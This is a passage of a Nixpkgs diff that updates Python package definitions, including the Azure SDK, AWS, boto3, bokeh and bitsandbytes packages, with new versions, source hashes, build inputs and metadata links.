"test_valid_json_with_no_secret_kwarg" + "test_valid_json" + ]; + pythonImportsCheck = [ "aws_secretsmanager_caching" ]; diff --git a/pkgs/development/python-modules/awscrt/default.nix b/pkgs/development/python-modules/awscrt/default.nix index 31639cb455ffe..b22836dd04b85 100644 --- a/pkgs/development/python-modules/awscrt/default.nix +++ b/pkgs/development/python-modules/awscrt/default.nix @@ -12,14 +12,14 @@ buildPythonPackage rec { pname = "awscrt"; - version = "0.20.3"; + version = "0.20.5"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-xB5HHDSUKHYGosbCa4/pesx0uJQarp2aEhpHDBmDh1g="; + hash = "sha256-v5zpSzU4M3G6tcvPnR4tLxjEhByDKz73qAor9yEjKdI="; }; buildInputs = lib.optionals stdenv.isDarwin [ diff --git a/pkgs/development/python-modules/awsiotpythonsdk/default.nix b/pkgs/development/python-modules/awsiotpythonsdk/default.nix index 5907b74ba2208..20da74babff29 100644 --- a/pkgs/development/python-modules/awsiotpythonsdk/default.nix +++ b/pkgs/development/python-modules/awsiotpythonsdk/default.nix @@ -2,12 +2,13 @@ , buildPythonPackage , fetchFromGitHub , pythonOlder +, setuptools }: buildPythonPackage rec { - pname = "AWSIoTPythonSDK"; - version = "1.5.2"; - format = "setuptools"; + pname = "awsiotpythonsdk"; + version = "1.5.4"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -15,9 +16,13 @@ buildPythonPackage rec { owner = "aws"; repo = "aws-iot-device-sdk-python"; rev = "refs/tags/v${version}"; - hash = "sha256-GHMnDRxXkaKDTaawwPtMqa7EZJ8Y35+ScgtfEP9PJGs="; + hash = "sha256-TUNIWGal7NQy2qmHVTiw6eX4t/Yt3NnM3HHztBwMfoM="; }; + nativeBuildInputs = [ + setuptools + ]; + # Module has no tests doCheck = false; @@ -28,6 +33,7 @@ buildPythonPackage rec { meta = with lib; { description = "Python SDK for connecting to AWS IoT"; homepage = "https://github.com/aws/aws-iot-device-sdk-python"; + changelog = "https://github.com/aws/aws-iot-device-sdk-python/releases/tag/v${version}"; license = with licenses; [ asl20 ]; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/axis/default.nix b/pkgs/development/python-modules/axis/default.nix index ba0526837ec26..34c0911f3ee58 100644 --- a/pkgs/development/python-modules/axis/default.nix +++ b/pkgs/development/python-modules/axis/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "axis"; - version = "48"; + version = "50"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "Kane610"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-/Iz1F40Y00bgJUvNrkPGyA8Kkch92Kijeg8TQ8mostM="; + hash = "sha256-Zu8hT6t7ZxlgXQKb2o20FpB15n9y/+n1qMctzcRP8F8="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/azure-core/default.nix b/pkgs/development/python-modules/azure-core/default.nix index 44f3c1b81085a..b376126432b5c 100644 --- a/pkgs/development/python-modules/azure-core/default.nix +++ b/pkgs/development/python-modules/azure-core/default.nix @@ -12,15 +12,16 @@ , pytest-trio , pytestCheckHook , requests +, setuptools , six , trio , typing-extensions }: buildPythonPackage rec { - version = "1.28.0"; + version = "1.30.0"; pname = "azure-core"; - format = "setuptools"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -28,10 +29,13 @@ buildPythonPackage rec { src = fetchPypi { inherit pname version; - extension = "zip"; - hash = "sha256-6e78Zvwf3lbatvBNTl0SxgdU1an6Sb3P2FNPyW7ZNr0="; + hash = "sha256-bzp4g+8YRyL2vZlyYu3a+Az+fls+DKqvjbFpVpWJPTU="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ requests six @@ -99,8 +103,8 @@ buildPythonPackage rec { meta = with lib; { description = "Microsoft Azure Core Library for Python"; - homepage = "https://github.com/Azure/azure-sdk-for-python"; - changelog = "https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/core/azure-core/CHANGELOG.md"; + homepage = "https://github.com/Azure/azure-sdk-for-python/tree/main/sdk/core/azure-core"; + changelog = "https://github.com/Azure/azure-sdk-for-python/blob/azure-core_${version}/sdk/core/azure-core/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ jonringer ]; }; diff --git a/pkgs/development/python-modules/azure-eventgrid/default.nix b/pkgs/development/python-modules/azure-eventgrid/default.nix index 4d9c50bb0594a..a3588cbe98745 100644 --- a/pkgs/development/python-modules/azure-eventgrid/default.nix +++ b/pkgs/development/python-modules/azure-eventgrid/default.nix @@ -5,27 +5,29 @@ , fetchPypi , isodate , pythonOlder -, typing-extensions +, setuptools }: buildPythonPackage rec { pname = "azure-eventgrid"; - version = "4.16.0"; - format = "setuptools"; + version = "4.17.0"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-o895Xjp/su2mc1WHbsQvWDe28sX/HhLtOb7BC5TFkyg="; + hash = "sha256-6/bqxCAvewKR5lI6ulFpP3THu9DH1rDEFwsRynDJ6+k="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ azure-common azure-core isodate - ] ++ lib.optionals (pythonOlder "3.8") [ - typing-extensions ]; # Module has no tests @@ -37,7 +39,7 @@ buildPythonPackage rec { meta = with lib; { description = "A fully-managed intelligent event routing service that allows for uniform event consumption using a publish-subscribe model"; - homepage = "https://github.com/Azure/azure-sdk-for-python"; + homepage = "https://github.com/Azure/azure-sdk-for-python/tree/main/sdk/eventgrid/azure-eventgrid"; changelog = "https://github.com/Azure/azure-sdk-for-python/blob/azure-eventgrid_${version}/sdk/eventgrid/azure-eventgrid/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ maxwilson ]; diff --git a/pkgs/development/python-modules/azure-eventhub/default.nix b/pkgs/development/python-modules/azure-eventhub/default.nix index ba589b8aa5e61..3f0adab003df1 100644 --- a/pkgs/development/python-modules/azure-eventhub/default.nix +++ b/pkgs/development/python-modules/azure-eventhub/default.nix @@ -1,23 +1,28 @@ { lib +, azure-core , buildPythonPackage , fetchPypi -, azure-core , pythonOlder +, setuptools , typing-extensions }: buildPythonPackage rec { pname = "azure-eventhub"; - version = "5.11.5"; - format = "setuptools"; + version = "5.11.6"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-HDdOmQezNIPVCLTHst8p+crGM15dpaGNIYU0+UL01Uw="; + hash = "sha256-89Q1o/cnR64i4Jblypx2w1BTTyrZk5l9EvTO+ZMq58E="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ azure-core typing-extensions diff --git a/pkgs/development/python-modules/azure-keyvault-administration/default.nix b/pkgs/development/python-modules/azure-keyvault-administration/default.nix index 07d608dfa56f7..a890e435508fc 100644 --- a/pkgs/development/python-modules/azure-keyvault-administration/default.nix +++ b/pkgs/development/python-modules/azure-keyvault-administration/default.nix @@ -1,34 +1,36 @@ { lib +, azure-core , buildPythonPackage , fetchPypi +, isodate , pythonOlder -, azure-common -, azure-core -, msrest -, six +, setuptools +, typing-extensions }: buildPythonPackage rec { pname = "azure-keyvault-administration"; - version = "4.3.0"; - format = "setuptools"; + version = "4.4.0"; + pyproject = true; - disabled = pythonOlder "3.6"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - extension = "zip"; - hash = "sha256-PuKjui0OP0ODNErjbjJ90hOgee97JDrVT2sh+MufxWY="; + hash = "sha256-ems2y59UTzV1D/L6lMg7l7PvIMH+G0JOpoAY7ucD8d8="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ - azure-common azure-core - msrest - six + typing-extensions + isodate ]; - # no tests in pypi tarball + # Tests require checkout from mono-repo doCheck = false; pythonNamespaces = [ @@ -42,6 +44,7 @@ buildPythonPackage rec { meta = with lib; { description = "Microsoft Azure Key Vault Administration Client Library for Python"; homepage = "https://github.com/Azure/azure-sdk-for-python/tree/master/sdk/keyvault/azure-keyvault-administration"; + changelog = "https://github.com/Azure/azure-sdk-for-python/blob/azure-keyvault-administration_${version}/sdk/keyvault/azure-keyvault-administration/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ jonringer ]; }; diff --git a/pkgs/development/python-modules/azure-keyvault-certificates/default.nix b/pkgs/development/python-modules/azure-keyvault-certificates/default.nix index 77d81c87ec31a..e45f1b241517b 100644 --- a/pkgs/development/python-modules/azure-keyvault-certificates/default.nix +++ b/pkgs/development/python-modules/azure-keyvault-certificates/default.nix @@ -3,36 +3,40 @@ , fetchPypi , azure-common , azure-core -, msrest -, msrestazure +, isodate , pythonOlder +, setuptools +, typing-extensions }: buildPythonPackage rec { pname = "azure-keyvault-certificates"; - version = "4.7.0"; - format = "setuptools"; + version = "4.8.0"; + pyproject = true; - disabled = pythonOlder "3.6"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - extension = "zip"; - hash = "sha256-nkfZp0gl5QKxPVSByZwYIEDE9Ucj9DNx4AhZQ23888o="; + hash = "sha256-xWEnPkQCwlEUhzSGyYv6GyxHiGIp1BAOh9rxAO4Edyg="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ azure-common azure-core - msrest - msrestazure + isodate + typing-extensions ]; pythonNamespaces = [ "azure.keyvault" ]; - # has no tests + # Module has no tests doCheck = false; pythonImportsCheck = [ @@ -41,7 +45,8 @@ buildPythonPackage rec { meta = with lib; { description = "Microsoft Azure Key Vault Certificates Client Library for Python"; - homepage = "https://github.com/Azure/azure-sdk-for-python"; + homepage = "https://github.com/Azure/azure-sdk-for-python/tree/main/sdk/keyvault/azure-keyvault-certificates"; + changelog = "https://github.com/Azure/azure-sdk-for-python/blob/azure-keyvault-certificates_${version}/sdk/keyvault/azure-keyvault-certificates/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ jonringer ]; }; diff --git a/pkgs/development/python-modules/azure-keyvault-secrets/default.nix b/pkgs/development/python-modules/azure-keyvault-secrets/default.nix index ddb5d440b0b34..56004efa76b63 100644 --- a/pkgs/development/python-modules/azure-keyvault-secrets/default.nix +++ b/pkgs/development/python-modules/azure-keyvault-secrets/default.nix @@ -1,41 +1,46 @@ { lib +, azure-core , buildPythonPackage , fetchPypi +, isodate , pythonOlder -, azure-common -, azure-core -, msrest +, setuptools +, typing-extensions }: buildPythonPackage rec { pname = "azure-keyvault-secrets"; - version = "4.7.0"; - format = "setuptools"; + version = "4.8.0"; + pyproject = true; - disabled = pythonOlder "3.6"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - extension = "zip"; - hash = "sha256-d+4lNLplGh8wbIXXtQW8PM7o/qd0UOuvr8Jq7BblRF0="; + hash = "sha256-VjbAodiiDjxXmcs8z/1Ovz8NGst8rpUmhhgzr4sP6BQ="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ - azure-common azure-core - msrest + isodate + typing-extensions ]; pythonNamespaces = [ "azure.keyvault" ]; - # requires checkout from mono-repo + # Tests require checkout from mono-repo doCheck = false; meta = with lib; { description = "Microsoft Azure Key Vault Secrets Client Library for Python"; - homepage = "https://github.com/Azure/azure-sdk-for-python"; + homepage = "https://github.com/Azure/azure-sdk-for-python/tree/main/sdk/keyvault/azure-keyvault-secrets"; + changelog = "https://github.com/Azure/azure-sdk-for-python/tree/azure-keyvault-secrets_${version}/sdk/keyvault/azure-keyvault-secrets"; license = licenses.mit; maintainers = with maintainers; [ jonringer ]; }; diff --git a/pkgs/development/python-modules/azure-mgmt-containerservice/default.nix b/pkgs/development/python-modules/azure-mgmt-containerservice/default.nix index ddb4b6987fac3..94417bc47ec75 100644 --- a/pkgs/development/python-modules/azure-mgmt-containerservice/default.nix +++ b/pkgs/development/python-modules/azure-mgmt-containerservice/default.nix @@ -6,27 +6,29 @@ , fetchPypi , isodate , pythonOlder -, typing-extensions +, setuptools }: buildPythonPackage rec { pname = "azure-mgmt-containerservice"; - version = "29.0.0"; - format = "setuptools"; + version = "29.1.0"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-0BiuK5JCj6rqfSYD8+GWca2k5SQ19MXEHR3TQcYzgoA="; + hash = "sha256-RohxeLsQNZM/BvpjEhwaydTFhx8gKuK4a8Svbh47NU8="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ azure-common azure-mgmt-core isodate - ] ++ lib.optionals (pythonOlder "3.8") [ - typing-extensions ]; # has no tests @@ -38,7 +40,7 @@ buildPythonPackage rec { meta = with lib; { description = "This is the Microsoft Azure Container Service Management Client Library"; - homepage = "https://github.com/Azure/azure-sdk-for-python"; + homepage = "https://github.com/Azure/azure-sdk-for-python/tree/main/sdk/containerservice/azure-mgmt-containerservice"; changelog = "https://github.com/Azure/azure-sdk-for-python/blob/azure-mgmt-containerservice_${version}/sdk/containerservice/azure-mgmt-containerservice/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ maxwilson ]; diff --git a/pkgs/development/python-modules/azure-mgmt-datafactory/default.nix b/pkgs/development/python-modules/azure-mgmt-datafactory/default.nix index ee4b29c28a8e7..748f1423e59ea 100644 --- a/pkgs/development/python-modules/azure-mgmt-datafactory/default.nix +++ b/pkgs/development/python-modules/azure-mgmt-datafactory/default.nix @@ -5,24 +5,29 @@ , fetchPypi , isodate , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "azure-mgmt-datafactory"; - version = "5.0.0"; - format = "setuptools"; + version = "6.0.0"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-WX/lFsU8qGg3Mg5bk+U0SBdR6cQpjtfmbX02Hr8uz7o="; + hash = "sha256-0B+K8u9M/z3edwlc8LNR8DeqV9y6vIVCmevoUIWN0YM="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ - isodate azure-common azure-mgmt-core + isodate ]; # has no tests diff --git a/pkgs/development/python-modules/azure-mgmt-network/default.nix b/pkgs/development/python-modules/azure-mgmt-network/default.nix index a9e55d0e775a1..d64d76abd1fe1 100644 --- a/pkgs/development/python-modules/azure-mgmt-network/default.nix +++ b/pkgs/development/python-modules/azure-mgmt-network/default.nix @@ -5,27 +5,29 @@ , fetchPypi , isodate , pythonOlder -, typing-extensions +, setuptools }: buildPythonPackage rec { pname = "azure-mgmt-network"; - version = "25.2.0"; - format = "setuptools"; + version = "25.3.0"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-EUxCktIjsdHiR7Qa9luNWjeTVn5q2/ojB3IFUiP0GCo="; + hash = "sha256-3OLK+xrg5WPgte/FN9yYp8Ctgk1CYeZL7XX3iBlt1cY="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ azure-common azure-mgmt-core isodate - ] ++ lib.optionals (pythonOlder "3.8") [ - typing-extensions ]; # Module has no tests @@ -41,7 +43,8 @@ buildPythonPackage rec { meta = with lib; { description = "Microsoft Azure SDK for Python"; - homepage = "https://github.com/Azure/azure-sdk-for-python"; + homepage = "https://github.com/Azure/azure-sdk-for-python/tree/main/sdk/network/azure-mgmt-network"; + changelog = "https://github.com/Azure/azure-sdk-for-python/blob/azure-mgmt-network_${version}/sdk/network/azure-mgmt-network/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ olcai maxwilson jonringer ]; }; diff --git a/pkgs/development/python-modules/basemap/default.nix b/pkgs/development/python-modules/basemap/default.nix index b3e26b5a55d67..3dd2e761b0976 100644 --- a/pkgs/development/python-modules/basemap/default.nix +++ b/pkgs/development/python-modules/basemap/default.nix @@ -17,14 +17,14 @@ buildPythonPackage rec { pname = "basemap"; - version = "1.4.0"; + version = "1.4.1"; format = "setuptools"; src = fetchFromGitHub { owner = "matplotlib"; repo = "basemap"; rev = "refs/tags/v${version}"; - hash = "sha256-RlEizHJwSojujqFFi14T5/W5L9juVSHMQepbRlirMeI="; + hash = "sha256-0rTGsphwLy2yGvhO7bcmFqdgysIXXkDBmURwRVw3ZHY="; }; sourceRoot = "${src.name}/packages/basemap"; diff --git a/pkgs/development/python-modules/bayespy/default.nix b/pkgs/development/python-modules/bayespy/default.nix index eaee0ef0974cb..86ca3020baccc 100644 --- a/pkgs/development/python-modules/bayespy/default.nix +++ b/pkgs/development/python-modules/bayespy/default.nix @@ -4,7 +4,7 @@ buildPythonPackage rec { pname = "bayespy"; - version = "0.5.26"; + version = "0.5.28"; format = "setuptools"; # Python 2 not supported and not some old Python 3 because MPL doesn't support @@ -13,7 +13,7 @@ buildPythonPackage rec { src = fetchPypi { inherit pname version; - sha256 = "sha256-NOvuqPKioRIqScd2jC7nakonDEovTo9qKp/uTk9z1BE="; + sha256 = "sha256-0NKxx3dGNNsYc0nD9nIwJ1wpDJHu4Ny+Z/zzj4jys40="; }; nativeCheckInputs = [ pytestCheckHook nose glibcLocales ]; diff --git a/pkgs/development/python-modules/beartype/default.nix b/pkgs/development/python-modules/beartype/default.nix index 3eba6f3317a42..b5091bf519d0c 100644 --- a/pkgs/development/python-modules/beartype/default.nix +++ b/pkgs/development/python-modules/beartype/default.nix @@ -1,6 +1,7 @@ { lib , buildPythonPackage , fetchPypi +, setuptools , pytestCheckHook , pythonOlder , typing-extensions @@ -8,16 +9,20 @@ buildPythonPackage rec { pname = "beartype"; - version = "0.16.4"; + version = "0.17.2"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-GtqJzy1usw624Vbu0utUkzV3gpN5ENdDgJGOU8Lq4L8="; + hash = "sha256-6RHhrn3kvM0VdF92Q2CdhzL2TeXC+4ROicu+0cWo1JU="; }; + nativeBuildInputs = [ + setuptools + ]; + nativeCheckInputs = [ pytestCheckHook typing-extensions diff --git a/pkgs/development/python-modules/bellows/default.nix b/pkgs/development/python-modules/bellows/default.nix index f7431e6ea4eb0..e93f810a61f8e 100644 --- a/pkgs/development/python-modules/bellows/default.nix +++ b/pkgs/development/python-modules/bellows/default.nix @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "bellows"; - version = "0.38.0"; + version = "0.38.1"; pyproject = true; disabled = pythonOlder "3.8"; @@ -25,7 +25,7 @@ buildPythonPackage rec { owner = "zigpy"; repo = "bellows"; rev = "refs/tags/${version}"; - hash = "sha256-7aqzhujTn1TMYBA6+79Ok76yv8hXszuuZ7TjhJ6zbQw="; + hash = "sha256-oxPzjDb+FdHeHsgeGKH3SVvKb0vCB9dIhT7lGzhDcBw="; }; postPatch = '' diff --git a/pkgs/development/python-modules/bip-utils/default.nix b/pkgs/development/python-modules/bip-utils/default.nix index 5666f7c1353a0..079653a2aec17 100644 --- a/pkgs/development/python-modules/bip-utils/default.nix +++ b/pkgs/development/python-modules/bip-utils/default.nix @@ -11,12 +11,13 @@ , pynacl , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "bip-utils"; - version = "2.9.1"; - format = "setuptools"; + version = "2.9.2"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -24,9 +25,13 @@ buildPythonPackage rec { owner = "ebellocchia"; repo = "bip_utils"; rev = "refs/tags/v${version}"; - hash = "sha256-D+LalbrwsjxwYW8l38D1l4tGAsjrZ+bS+/Ppgaxkzy4="; + hash = "sha256-qK1jSVfkebB9JM0sZjOu7ABc7xMrcybu1r7oQOw3bJo="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ ecdsa cbor2 diff --git a/pkgs/development/python-modules/bitsandbytes/default.nix b/pkgs/development/python-modules/bitsandbytes/default.nix index c511f01d6dcf2..189b8a9c6c27c 100644 --- a/pkgs/development/python-modules/bitsandbytes/default.nix +++ b/pkgs/development/python-modules/bitsandbytes/default.nix @@ -12,7 +12,7 @@ let pname = "bitsandbytes"; - version = "0.41.0"; + version = "0.42.0"; inherit (torch) cudaCapabilities cudaPackages cudaSupport; inherit (cudaPackages) backendStdenv cudaVersion; @@ -43,15 +43,15 @@ let in buildPythonPackage { inherit pname version; - format = "pyproject"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "TimDettmers"; - repo = pname; + repo = "bitsandbytes"; rev = "refs/tags/${version}"; - hash = "sha256-e6SK2ylITookO6bhpfdRp/V4y2S9rk6Lo1PD3xXrcmM="; + hash = "sha256-PZxsFJ6WpfeQqRQrRRBZfZfNY6/TfJFLBeknX24OXcU="; }; postPatch = '' @@ -73,8 +73,16 @@ buildPythonPackage { else ''make CUDA_VERSION=CPU cpuonly''; - nativeBuildInputs = [ setuptools wheel ] ++ lib.optionals torch.cudaSupport [ cuda-native-redist ]; - buildInputs = lib.optionals torch.cudaSupport [ cuda-redist ]; + nativeBuildInputs = [ + setuptools + wheel + ] ++ lib.optionals torch.cudaSupport [ + cuda-native-redist + ]; + + buildInputs = lib.optionals torch.cudaSupport [ + cuda-redist + ]; propagatedBuildInputs = [ scipy @@ -88,8 +96,9 @@ buildPythonPackage { ]; meta = with lib; { - homepage = "https://github.com/TimDettmers/bitsandbytes"; description = "8-bit CUDA functions for PyTorch"; + homepage = "https://github.com/TimDettmers/bitsandbytes"; + changelog = "https://github.com/TimDettmers/bitsandbytes/releases/tag/${version}"; license = licenses.mit; maintainers = with maintainers; [ bcdarwin ]; }; diff --git a/pkgs/development/python-modules/black/default.nix b/pkgs/development/python-modules/black/default.nix index 52cc36e989cc4..73ce7f8d30fdd 100644 --- a/pkgs/development/python-modules/black/default.nix +++ b/pkgs/development/python-modules/black/default.nix @@ -5,7 +5,6 @@ , pythonOlder , pytestCheckHook , aiohttp -, aiohttp-cors , click , colorama , hatch-fancy-pypi-readme @@ -19,7 +18,6 @@ , platformdirs , tokenize-rt , tomli -, typed-ast , typing-extensions , uvloop }: @@ -78,6 +76,10 @@ buildPythonPackage rec { parameterized ] ++ lib.flatten (lib.attrValues passthru.optional-dependencies); + pytestFlagsArray = [ + "-W" "ignore::DeprecationWarning" + ]; + preCheck = '' export PATH="$PATH:$out/bin" diff --git a/pkgs/development/python-modules/blackjax/default.nix b/pkgs/development/python-modules/blackjax/default.nix index cae11bd30c8d7..7ecc4eda95198 100644 --- a/pkgs/development/python-modules/blackjax/default.nix +++ b/pkgs/development/python-modules/blackjax/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "blackjax"; - version = "1.1.0"; + version = "1.1.1"; pyproject = true; disabled = pythonOlder "3.9"; @@ -24,7 +24,7 @@ buildPythonPackage rec { owner = "blackjax-devs"; repo = "blackjax"; rev = "refs/tags/${version}"; - hash = "sha256-VAsCDI0rEqx0UJlD82wbZ8KuMi6LOjUlO6YzqnOfAGk="; + hash = "sha256-6+ElY1F8oRCtWT4a/LIG6hYMthlq5mDx2baKAc6zIns="; }; nativeBuildInputs = [ setuptools-scm ]; diff --git a/pkgs/development/python-modules/bleak-esphome/default.nix b/pkgs/development/python-modules/bleak-esphome/default.nix index ffecee75337a2..0138f8b1d7f3d 100644 --- a/pkgs/development/python-modules/bleak-esphome/default.nix +++ b/pkgs/development/python-modules/bleak-esphome/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "bleak-esphome"; - version = "0.4.1"; + version = "1.0.0"; pyproject = true; disabled = pythonOlder "3.10"; @@ -23,7 +23,7 @@ buildPythonPackage rec { owner = "bluetooth-devices"; repo = "bleak-esphome"; rev = "refs/tags/v${version}"; - hash = "sha256-cLjQg54DL17VtM/NFOQUE0dJThz5EhjipW2t9yhAMQ0="; + hash = "sha256-zz7vh+UIahHtb6ZjR/eRrS9RGur2klqbgKoeJpMrH/k="; }; postPatch = '' @@ -55,7 +55,7 @@ buildPythonPackage rec { meta = with lib; { description = "Bleak backend of ESPHome"; homepage = "https://github.com/bluetooth-devices/bleak-esphome"; - changelog = "https://github.com/bluetooth-devices/bleak-esphome/blob/${version}/CHANGELOG.md"; + changelog = "https://github.com/bluetooth-devices/bleak-esphome/blob/v${version}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/bluetooth-adapters/default.nix b/pkgs/development/python-modules/bluetooth-adapters/default.nix index 765f4340ceb93..cf6924f2f3d67 100644 --- a/pkgs/development/python-modules/bluetooth-adapters/default.nix +++ b/pkgs/development/python-modules/bluetooth-adapters/default.nix @@ -1,23 +1,24 @@ { lib -, buildPythonPackage -, pythonOlder -, fetchFromGitHub -, poetry-core , aiohttp +, aiooui , async-timeout , bleak +, buildPythonPackage , dbus-fast +, fetchFromGitHub , mac-vendor-lookup , myst-parser +, poetry-core , pytestCheckHook -, sphinxHook +, pythonOlder , sphinx-rtd-theme +, sphinxHook , usb-devices }: buildPythonPackage rec { pname = "bluetooth-adapters"; - version = "0.17.0"; + version = "0.18.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -26,7 +27,7 @@ buildPythonPackage rec { owner = "Bluetooth-Devices"; repo = "bluetooth-adapters"; rev = "refs/tags/v${version}"; - hash = "sha256-7j55+bCScoqtYJ/1lmqsPk3j+dbs+VfPTzTiwdVg0Pw="; + hash = "sha256-KPmCOPCK7muT0qptJMKQwWU/6tvepkdHwlNYcrvpRLg="; }; postPatch = '' @@ -48,6 +49,7 @@ buildPythonPackage rec { propagatedBuildInputs = [ aiohttp + aiooui async-timeout bleak dbus-fast @@ -65,7 +67,7 @@ buildPythonPackage rec { meta = with lib; { description = "Tools to enumerate and find Bluetooth Adapters"; - homepage = "https://bluetooth-adapters.readthedocs.io/"; + homepage = "https://github.com/Bluetooth-Devices/bluetooth-adapters"; changelog = "https://github.com/bluetooth-devices/bluetooth-adapters/blob/v${version}/CHANGELOG.md"; license = licenses.asl20; maintainers = teams.home-assistant.members; diff --git a/pkgs/development/python-modules/bokeh/default.nix b/pkgs/development/python-modules/bokeh/default.nix index 91760ed463a76..a54608df9fc8f 100644 --- a/pkgs/development/python-modules/bokeh/default.nix +++ b/pkgs/development/python-modules/bokeh/default.nix @@ -48,14 +48,14 @@ buildPythonPackage rec { pname = "bokeh"; # update together with panel which is not straightforward - version = "3.3.3"; + version = "3.3.4"; format = "pyproject"; disabled = pythonOlder "3.9"; src = fetchPypi { inherit pname version; - hash = "sha256-bs5vACY/LSBDok6vnbdab4YO/Ioflt9mMYb+PrJpLdM="; + hash = "sha256-c7eYLcK43xW/Zgzd3I04JegpGVxDgBWl0Jgk8acCg2g="; }; src_test = fetchFromGitHub { diff --git a/pkgs/development/python-modules/boschshcpy/default.nix b/pkgs/development/python-modules/boschshcpy/default.nix index 0fcf45b717ead..14e04b17f6042 100644 --- a/pkgs/development/python-modules/boschshcpy/default.nix +++ b/pkgs/development/python-modules/boschshcpy/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "boschshcpy"; - version = "0.2.89"; + version = "0.2.91"; pyproject = true; disabled = pythonOlder "3.10"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "tschamm"; repo = "boschshcpy"; rev = "refs/tags/${version}"; - hash = "sha256-/BZz666b2qZ6Dzkw+l1OpoMP+MIsFzhohNutzZMooNQ="; + hash = "sha256-lQDYJrla2iDk1MbLHjBGP3ZcZ1djD3bWhz15RaBFMgg="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/boto3-stubs/default.nix b/pkgs/development/python-modules/boto3-stubs/default.nix index 02fc617d19547..46adc95f6c9e8 100644 --- a/pkgs/development/python-modules/boto3-stubs/default.nix +++ b/pkgs/development/python-modules/boto3-stubs/default.nix @@ -365,14 +365,14 @@ buildPythonPackage rec { pname = "boto3-stubs"; - version = "1.34.40"; + version = "1.34.57"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-rQpnx4/mR80rYR8/gtryVp4WQ3gdU8vIafGAYuF3rig="; + hash = "sha256-K3Jxu2h23GprPx5hlEcdpd6qks6cTuVqv0LeDcOb5FY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/boto3/default.nix b/pkgs/development/python-modules/boto3/default.nix index 717bb264283f9..f1ab0c4f28e34 100644 --- a/pkgs/development/python-modules/boto3/default.nix +++ b/pkgs/development/python-modules/boto3/default.nix @@ -1,29 +1,39 @@ { lib +, botocore , buildPythonPackage , fetchFromGitHub -, botocore , jmespath +, pytestCheckHook +, pythonOlder +, pythonRelaxDepsHook , s3transfer , setuptools -, pytestCheckHook }: buildPythonPackage rec { pname = "boto3"; - version = "1.33.6"; # N.B: if you change this, change botocore and awscli to a matching version - format = "pyproject"; + version = "1.34.49"; # N.B: if you change this, change botocore and awscli to a matching version + pyproject = true; + + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "boto"; - repo = pname; - rev = version; - hash = "sha256-oOrUVBh1sbaOibU8A+bGZ4z7IEiE4gjHwZ+8889Hv60="; + repo = "boto3"; + rev = "refs/tags/${version}"; + hash = "sha256-/pgbLSL5RJ5RrKUAfQ1QNJykBdICrpqnuziHOVHt1JI="; }; nativeBuildInputs = [ + pythonRelaxDepsHook setuptools ]; + pythonRelaxDeps = [ + "botocore" + "s3transfer" + ]; + propagatedBuildInputs = [ botocore jmespath @@ -44,14 +54,16 @@ buildPythonPackage rec { ]; passthru.optional-dependencies = { - crt = [ botocore.optional-dependencies.crt ]; + crt = [ + botocore.optional-dependencies.crt + ]; }; meta = with lib; { + description = "AWS SDK for Python"; homepage = "https://github.com/boto/boto3"; changelog = "https://github.com/boto/boto3/blob/${version}/CHANGELOG.rst"; license = licenses.asl20; - description = "AWS SDK for Python"; longDescription = '' Boto3 